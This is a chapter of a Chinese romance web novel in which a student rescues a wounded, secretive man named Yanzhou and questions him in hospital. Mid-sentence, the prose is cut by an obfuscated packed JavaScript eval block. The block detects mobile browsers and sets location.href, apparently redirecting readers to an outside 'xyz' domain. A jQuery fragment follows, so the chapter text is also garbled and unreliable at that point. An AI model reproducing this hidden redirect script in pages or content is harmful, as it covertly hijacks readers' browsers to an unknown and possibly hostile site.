那是一种很难言说的冲动，类似于身体疯长的青春期，毫无防备上涌的陌生欲望。
“要给你打120吗？”苏念柠问。
男人没应，唇线紧抿着，由于失血过多，脸色和唇色皆惨白，衬得他脸上的鲜血妖冶，像吸食他的气色野蛮生长的曼陀罗花。
见他没说话，苏念柠又问：“外面那场车祸跟你有关？你是逃逸的肇事者？”
不怪她这么想，要是受害者，有能力动的，早就自己打120，没能力动的，也是乖乖等待救援，哪里还能拖着这么个残破的身体到处乱跑。
男人没反驳。如果是被冤枉，再怎么沉默寡言的人都得喊声冤，但他没有，不知道是默认，还是压根没听她说什么，警惕的视线又盯了她两秒，然后移开目光。
警备的野兽不会露出这样的破绽，除非他认为危险解除，眼前的人对他没有攻击性。
苏念柠不理解他到底怎么想，但看他失血的程度，再不去医院只能等死，她怎么能让这么漂亮的男人在她眼前死掉，晚上会做噩梦。
“我打120了。”苏念柠从包里拿出手机，拨键之前瞟了男人一眼，见他垂着首，连喘气都变弱，但表情是那种漠不关心的冷。
好奇怪的一个人，自己都快死了，面对伸出援手的好心人，连一丝主动求救的意图都没有。
雨逐渐下大，雨滴敲击着伞面淅淅零零，将九月的温度降下来。
在等救护车过来的时间，男人头顶上没有遮挡，冰凉的雨丝落在他的头上，脸上，身上，血色源源不断从他身上流失，皮肤苍白几近透明，能看清毛细血管，他不为所动，黑色的睫毛随着他的眨眼动作偶尔挣扎，像在蜘蛛网上即将被绞死的蝴蝶。
濒临死亡的漂亮事物，有一种触目惊心的美。
苏念柠连呼吸都放轻，目光难以自控地投注到他身上，那不是一朵花，一只猫狗，而是一个俊美非凡的人。
他快要死了。
苏念柠不懂医学，不清楚这么严重的外伤距离死亡还有多远，但她很明确地感知到他生命的流逝，似乎她只要轻轻吹一下，他就像蒲公英一样散去。
不可避免生出恻隐之心，她往他身侧靠，小小的伞面遮不住两个人，她只好将手中的伞往他的方向偏去。
从上往下俯瞰的角度，苏念柠看见他脸上的睫毛连连扑了两下，是濒死的蝴蝶最后的振翅。
他并非对苏念柠正在做的事无知无感。
救护车到来，男人已经昏迷，苏念柠跟着救护车去医院。
接治的主治医生是温淳，海大医学系毕业，她恰好认识，在朋友的聚会上见过两次面，互相有微信。
人被推进手术室，苏念柠等在外头，转头看右肩，才察觉到被雨淋湿了大半。
手机跳进来一条消息，是赵宛问她到家没。
苏念柠直接拍了张手术室外的照片发过去，赵宛回了个捂脸震惊的表情，电话立刻打过来。
“怎么干到医院去了，你没事吧？”
“路上碰到人受伤，送来了医院。”
“吓我一跳。”赵宛的口气松下来，又说，“你这么好心？”
苏念柠气笑：“我很有爱心的好不好。”
“你顶多帮打个120，哪儿还能跟到医院，那人男的女的啊？长得好看吧？”
要不说赵宛了解她呢，若不是冲对方那张脸，苏念柠在救护车来的时候就走了。
东拉西扯一阵，电话挂断，苏念柠在座椅上打起盹儿，脑袋一摇一晃像在钓鱼，猛然惊醒抬头看，手术室灯在这时灭了，温淳穿着白大褂走出来，苏念柠见状，站起来。
“他身上这伤是怎么弄的？”温淳一脸严肃。
苏念柠摇头，把前因后果一说，温淳叹气：“再晚一点，恐怕要出人命。”
男人暂且救过来，目前昏迷未醒，送进重症病房，苏念柠先去交了钱，看时间已是凌晨三点，她打车回公寓，匆匆洗漱完，扎扎实实打了个喷嚏，估计是淋雨着了凉，她暗叹一口气，冲了包感冒灵喝下才上床睡觉。
所幸，第二天醒来没感冒，她带着浅浅的黑眼圈去学校，在无聊的课上打瞌睡，课间迷迷糊糊听见有人在讨论昨晚生日宴会的事，陆淮奕和徐明艺的名字混着瞌睡虫飞进她脑子里，她太困了，懒得管。
包里的手机震了一下，她打个激灵，有些恼火地去翻手机。
是温淳发来的微信。
温淳：[病人醒了]
温淳：[差点跑出医院]
温淳：[这人没案底吧？]
苏念柠的瞌睡虫顿时飞走，反复看了几遍信息，疑惑地回复：[他想跑？]
一个重症病人醒来的第一件事，居然是逃跑？他住的不是精神病院，也不是监狱，跑什么？
一下课，苏念柠顾不上赶来找她的赵宛，踩着帕拉梅拉的油门就往医院方向杀过去。
男人已从重症病房转入独立普通病房，苏念柠到达门口的时候，听见小护士在不厌其烦地告诫他不要乱跑，需要静养，他肋骨断了三根，五脏六腑受损，内伤外伤都严重，很容易加深病情之类。
年轻男人平躺在床上，手背插着吊针，脸上戴着呼吸罩，脸侧着偏向窗外，目光无神地看着窗外飘着白云的蓝天，早已魂游万里。
他的脸上毫无气色，但脸部线条俊朗流畅，鼻梁高挺，让他看起来俊美又脆弱，难怪小护士冷脸贴上冷屁股也甘愿喋喋不休地叮嘱，长相优异的人无端让人多出几分耐心。
护士见苏念柠进来，理所当然以为他们是一起的，又苦口婆心交代：“你多劝劝你男朋友，他上午自己拔了呼吸罩和针管乱跑，多吓人。”
苏念柠去看男人的反应。
他没有反应，像是没听见。
不至于又聋又哑吧？这么俊的脸，多可惜。
苏念柠没有解释两人的关系，只是点点头：“我白天要上课，只能拜托医院多帮我留神。”
护士走了，魂游天外的男人终于抽回了神，目光从窗外移到苏念柠身上。
苏念柠特意等了一会儿，想看他有什么表示，见他只是看过来，半天憋不出一句话，她出声：“你不会说话？”
他的喉结滚了一圈，呼吸罩蒙上厚重水汽，显然他有反应，但没有声音出来。
就在苏念柠以为他确实不会说话之后，一道低沉沙哑的嗓音传出来：“会。”
有呼吸罩罩着，加上声音是病态的艰涩，苏念柠很难判断他的原声好不好听，但闷葫芦好歹放了个声，她拉来椅子坐在他床头边，唇角含笑，颇有兴致：“听医生说，你早上醒来就想跑？”
他敛着睫毛，脸朝另一边偏过去。
苏念柠暗咬了下牙，故意刺激他说话：“你是不是犯事儿了？这么急着躲？”
“没有。”他回答，声音比刚才润了一些，低沉有磁性，怪好听。
苏念柠喜欢声音好听的人，唇上的笑意深了一下，又很快恢复，问：“你叫什么名字？”
他又不说话。
“我救了你一命，你就这么对你救命恩人？”苏念柠将声音提高了一点。
对方要是敢回她“谁让你救”这类欠凑的话，长得再好看她也丢下不管了。
只见男人的双睫动了动，透过呼吸罩，看见他的唇线微不可查地抿了一下，像是一个很难做出的选择。
他说：“砚舟。”
“什么粥？”苏念柠追问。
砚舟不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458931|169655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接话。
苏念柠真有点受不了他这一巴掌拍不出一个响的死样，半威胁道：“你不说清楚点，我就叫你燕麦粥。”
显然没有哪个男人受得了这种外号，就连冷面冰山也有了反应，他转过头来，字字清晰地解释：“笔墨纸砚的砚，逆水行舟的舟。”
苏念柠满意了：“这还差不多，你的姓挺少见。”
砚舟没说是，也没说不是。
温淳过来做例行检查，接连问了一些问题，无非是症状感受之类，对照检测仪器填了张表格，苏念柠跟着他往病房外走，悄声问：“师兄，他身体没什么问题吧？”
“有啊，一堆问题。”温淳朝她亮了亮表，上面写了密密麻麻的行草，还有一些指标数字，苏念柠看不懂。
“我说的不是这些。”苏念柠动作难得忸怩了一下，温淳看出点端倪，但不确定，只投来一个询问的眼神。
“就是，上上下下啊，里里外外啊。”苏念柠双手抱胸撇开脸，不看医生那锐利的眼睛，“反正人都在你这，你多帮我查一下呗。”
温淳噗嗤笑出声，将手中的笔插入左胸前的口袋，酝酿了一下，问：“你昨晚说这人是你在路上捡过来，你了解他的底细吗？”
“未雨绸缪嘛，之后的事谁能预料。”这句话十分坦荡。
温淳觉得他有必要重新刷新一下对苏念柠的认知，提醒道：“昨天给他换病号服的时候，护士说了，他身上连手机钱包身份证都没有，我到现在都不知道他叫什么名字，这身伤是怎么来的，这么来路不明的人，就算没病，也有危险。”
嚯，这家伙口风这么严，连主治医生都不告知名字。
“帮你问过了，叫砚舟，笔墨纸砚的砚，逆水行舟的舟，有名有姓。”苏念柠为他解释。
“没身份证对照，谁知道这名字是不是真的。”
“他要是真纯心骗人，就算有身份证，也不一定是真的。”苏念柠反驳。
“他身上这身伤你也看见了，内外都有，下了狠手的。”温淳提醒她，“那得是做什么的，才能招惹这么恨他的人，你问过吗？”
苏念柠摇头：“但我能看到，他受伤了，伤得很重。”
温淳也自知管得太深，不再做声，揉了揉眼窝。
苏念柠见他妥协，扯开话题：“哎呀，你就帮我查查嘛，他是什么身份后面总会知道，但他干不干净对我现在才重要。”
要不是图点什么，她怎么会这么费心？
温淳的表情变得一言难尽。
苏念柠才不管对方心里怎么想，丢下一句：“说好了哦！改天请你吃饭”就跑回了病房。
砚舟还在床上躺着，姿势没动过，只是在苏念柠走进来之后，目光缓缓上移，莫名其妙盯着她。
苏念柠没来由有些心慌，莫不是刚才在走廊上的话被他听到了，但刚才的对话并不大声，稍稍安慰一下自己，她清了清嗓子，先发制人：“你看什么？”
砚舟挪开目光。
死样。
苏念柠靠过去，试探性问了句：“你伤成这样，要不要我帮你通知一下父母？”
“死了。”他声线有些冷，回答。
父母双亡，这么惨。
“那亲戚朋友呢？”苏念柠又问。
“没有。”
孤家寡人。
“那这个世界上，还有谁是我能帮你通知一下的吗？”苏念柠盯着他的眼睛问。
没有人会是一座孤岛，他说的这些，或许是心里有怨，或许是另有原因，她半信半疑。
男人回望的目光利落且坦然，没有一丝对自身遭遇的自怨自艾，也没有任何处于弱者的自卑：
“在这个世界上，没人与我有关联。”